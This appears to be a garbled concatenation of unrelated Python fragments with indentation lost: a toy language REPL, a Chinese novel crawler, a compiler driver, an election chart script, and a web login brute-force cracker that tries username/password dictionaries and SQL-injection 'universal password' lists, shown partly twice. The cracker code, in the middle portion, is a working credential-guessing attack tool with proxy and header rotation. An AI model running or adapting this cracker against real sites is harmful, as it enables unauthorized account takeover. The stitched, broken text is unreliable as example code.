def repl(argv):
run = True
table = eval.SymbolTable()
if len(argv) == 2:
try:
source = open(argv[1], 'r').read()
tokenizer = Tokenizer(source)
tokens = tokenizer.lex()
ast = Parser(tokens).parse()
if DEBUG:
tokenizer.print_tokens()
print(str(ast) + '\n')
evaluator = eval.Evaluator(ast, table, False)
evaluator.evaluate()
except FileNotFoundError:
repl_error(f"Can not find file: \"{argv[1]}\"")
else:
print("Tevas Language Shell")
line = 1
while run:
try:
eval.Evaluator(
Parser(
Tokenizer(input(">> ").replace('\n', ''),
line).lex()).parse(), table,
True).evaluate()
except KeyboardInterrupt:
repl_error()
line += 1
def main():
statistics = Statistics()
parser = Parser(statistics, debug)
parser.parse()
statistics.generate_statistics()
statistics.output_statistics()
async def fetch_single_page_and_save_mongo(self, session, url):
"""
访问小说章节，并且存储到mongodb中
:param session:
:param url:
:return:
"""
try:
async with session.get(url, timeout=15) as resp:
status_code = resp.status
if status_code != 200:
self.db.add_to_wait(url)
return
text = await resp.text("gbk", "ignore")
save_dict = Parser.parse_single_page(url, text)
await self.mongodb.save_data(save_dict, url.split("/")[-2].split("_")[-1])
self.db.add_to_finish(self.db.hash_url(url))
crawler.info(f"get url: {url} status: {status_code}")
except Exception:
crawler.error(traceback.format_exc())
self.db.add_to_wait(url)
async def fetch_single_page_and_save_direct(self, session, url):
"""
访问小说章节，并且直接存储
:param session:
:param url:
:return:
"""
async with session.get(url, timeout=15) as resp:
try:
status_code = resp.status
# 失败重爬
if status_code != 200:
self.db.add_to_wait(url)
return
text = await resp.read()
# xpath解析所需内容
save_dict = Parser.parse_single_page(url, text)
# 直接zlib压缩后存储
await DirectStorage.save_single_page(url.split("/")[-2].split("_")[-1], save_dict["chapter_name"],
save_dict["content"])
# url的16进制MD5添加到redis完成集合中
self.db.add_to_finish(self.db.hash_url(url))
crawler.info(f"get url: {url} status: {status_code}")
except Exception:
crawler.error(traceback.format_exc())
self.db.add_to_wait(url)
def compile_file(file_to_compile):
with open(file_to_compile) as f:
try:
lexer = Lexer(''.join(f.readlines()), file_to_compile)
lexer.lex_all()
parser = Parser(lexer.tokens)
ast_root = parser.parse()
ast_root.resolve_includes()
error_counter.reset()
ast_root.resolve_names(Scope(None))
ast_root.resolve_types()
ast_root.check_for_entry_point()
is_parsing_successful = error_counter.counter == 0
if not is_parsing_successful:
printer.error('',
f'{error_counter.counter} errors found',
header_len=80)
return
else:
printer.success('', f'Compilation successful', header_len=80)
code_writer = CodeWriter()
ast_root.write_code(code_writer)
with FileOutput('instructions.f12b') as output:
code_writer.print_instructions(output)
with FileOutput('output.f12b') as output:
code_writer.dump_code(output)
del ast_root
vm = VM(code_writer.code)
vm.exec()
except ValueError as e:
print(e)
pass
def run(self, id, url):
self.id = id
self.url = url
print("")
Log.init_log_id(id)
Log.Info(f"[*] Start: {url}")
try:
self.parser = Parser(self.url)
if not self.parser.run():
return
self.error_length = self.get_error_length()
username_dict, password_dict = gen_dict(url)
username, password = self.crack_task(username_dict, password_dict)
# 万能密码爆破
if not username and not password:
if self.parser.cms:
sqlin_dict_enable = self.parser.cms["sqlin_able"]
else:
sqlin_dict_enable = generatorConfig["dict_config"][
"sqlin_dict"]["enable"]
if sqlin_dict_enable:
Log.Info(f"[*] {url} 启动万能密码爆破模块")
sqlin_user_dict, sqlin_pass_dict = gen_sqlin_dict()
username, password = self.crack_task(
sqlin_user_dict, sqlin_pass_dict)
if username and password:
Log.Info(f"[*] Rechecking... {url} {username} {password}")
recheck_flag = self.recheck(username, password)
if recheck_flag:
Log.Success(f"[+] Success: {url} {username}/{password}")
return
else:
Log.Info(
f"[-] Recheck failed: {url} {username}/{password}")
Log.Error("[-] Failed: " + url)
except Exception as e:
Log.Error(f"{str(e)}")
async def get_child_urls(self, session, url):
"""
获取小说章节目录页中所包含的所有子链接
:param session:
:param url:
:return:
"""
try:
async with session.get(url, timeout=120) as resp:
text = await resp.text("gbk", "ignore")
status_code = resp.status
# xpath解析出子url
child_links, save_dict = Parser.parse_main_page(url, text)
child_links = list(set(child_links))
# 将子链接添加到redis等待队列中
self.db.multi_add_to_wait(child_links)
# 存储到mongodb中
await self.mongodb.save_data(save_dict, "book_list")
crawler.info(f"get url: {url} status: {status_code}")
except Exception:
crawler.error(f"获取子链接出错：{traceback.format_exc()}")
import sqlite3
import os
from metadata.block import Block
from parse.parser import Parser
from metadata.settings import Settings
if __name__ == "__main__":
if os.path.isfile(Settings.db_file):
os.remove(Settings.db_file)
os.system(f'sqlite3 {Settings.db_file} < {Settings.sql_file}')
with sqlite3.connect(Settings.db_file) as conn, \
open(Settings.txt_file, 'r') as file:
block = Block(conn)
for line in file:
line = line.strip()
if line:
Parser.parse(line, block)
else:
block.store()
block.clear()
conn.commit()
class CrackTask:
id = 0
url = ''
parser = {}
error_length = 0
requests_proxies = {}
timeout = 0
fail_words = []
test_username = ''
test_password = ''
conn = {}
def __init__(self):
# 加载配置文件
self.requests_proxies = crackConfig["requests_proxies"]
self.timeout = crackConfig["timeout"]
self.fail_words = crackConfig["fail_words"]
self.test_username = crackConfig["test_username"]
self.test_password = crackConfig["test_password"]
def run(self, id, url):
self.id = id
self.url = url
print("")
Log.init_log_id(id)
Log.Info(f"[*] Start: {url}")
try:
self.parser = Parser(self.url)
if not self.parser.run():
return
self.error_length = self.get_error_length()
username_dict, password_dict = gen_dict(url)
username, password = self.crack_task(username_dict, password_dict)
# 万能密码爆破
if not username and not password:
if self.parser.cms:
sqlin_dict_enable = self.parser.cms["sqlin_able"]
else:
sqlin_dict_enable = generatorConfig["dict_config"][
"sqlin_dict"]["enable"]
if sqlin_dict_enable:
Log.Info(f"[*] {url} 启动万能密码爆破模块")
sqlin_user_dict, sqlin_pass_dict = gen_sqlin_dict()
username, password = self.crack_task(
sqlin_user_dict, sqlin_pass_dict)
if username and password:
Log.Info(f"[*] Rechecking... {url} {username} {password}")
recheck_flag = self.recheck(username, password)
if recheck_flag:
Log.Success(f"[+] Success: {url} {username}/{password}")
return
else:
Log.Info(
f"[-] Recheck failed: {url} {username}/{password}")
Log.Error("[-] Failed: " + url)
except Exception as e:
Log.Error(f"{str(e)}")
def crack_request(self, conn, username, password):
data = self.parser.data
path = self.parser.post_path
data[self.parser.username_keyword] = username
data[self.parser.password_keyword] = password
res = conn.post(url=path,
data=data,
headers=get_random_headers(),
timeout=self.timeout,
verify=False,
allow_redirects=True,
proxies=self.requests_proxies)
time.sleep(crackConfig["delay"])
res.encoding = res.apparent_encoding
return res
def get_error_length(self):
conn = requests.session()
self.conn = conn
# pre_res = self.crack_request(conn, self.test_username, self.test_password) # 预请求一次
res1 = self.crack_request(conn, self.test_username, self.test_password)
res2 = self.crack_request(conn, self.test_username, self.test_password)
error_length1 = get_res_length(res1)
error_length2 = get_res_length(res2)
if error_length1 != error_length2:
raise Exception(f"[-] {self.url} Error length 不为固定值")
return error_length1
def recheck(self, username, password):
password = password.replace('{user}', username)
conn = requests.session()
# pre_res = self.crack_request(conn, self.test_username, self.test_password) # 预请求一次
res1 = self.crack_request(conn, self.test_username, self.test_password)
res2 = self.crack_request(conn, username, password)
error_length1 = get_res_length(res1)
error_length2 = get_res_length(res2)
if error_length1 == error_length2 or res2.status_code == 403:
return False
else:
return True
def crack_task(self, username_dict, password_dict):
fail_words = self.fail_words
conn = self.conn
error_length = self.error_length
num = 0
dic_all = len(username_dict) * len(password_dict)
for username in username_dict:
for password in password_dict:
right_pass = 1
password = password.replace('{user}', username)
num = num + 1
Log.Info(
f"[*] {self.url} 进度: ({num}/{dic_all}) checking: {username} {password}"
)
res = self.crack_request(conn, username, password)
html = res.text + str(res.headers)
if self.parser.cms:
if self.parser.cms["success_flag"] and (
self.parser.cms["success_flag"] in html):
return username, password
elif self.parser.cms["die_flag"] and (
self.parser.cms["die_flag"] in html):
return False, False
for fail_word in fail_words:
if fail_word in html:
right_pass = 0
break
if right_pass:
cur_length = get_res_length(res)
if self.parser.username_keyword in res.text and self.parser.password_keyword in res.text:
continue
if cur_length != error_length:
return username, password
else:
continue
return False, False
from metadata.settings import Settings
from parse.parser import Parser
from plot.printer import show_max_percent_parties_bar, show_pie_chart_results
if __name__ == "__main__":
with open(Settings.election_file, 'r') as election:
parties = Parser.import_data(election)
show_max_percent_parties_bar(parties)
show_pie_chart_results(parties)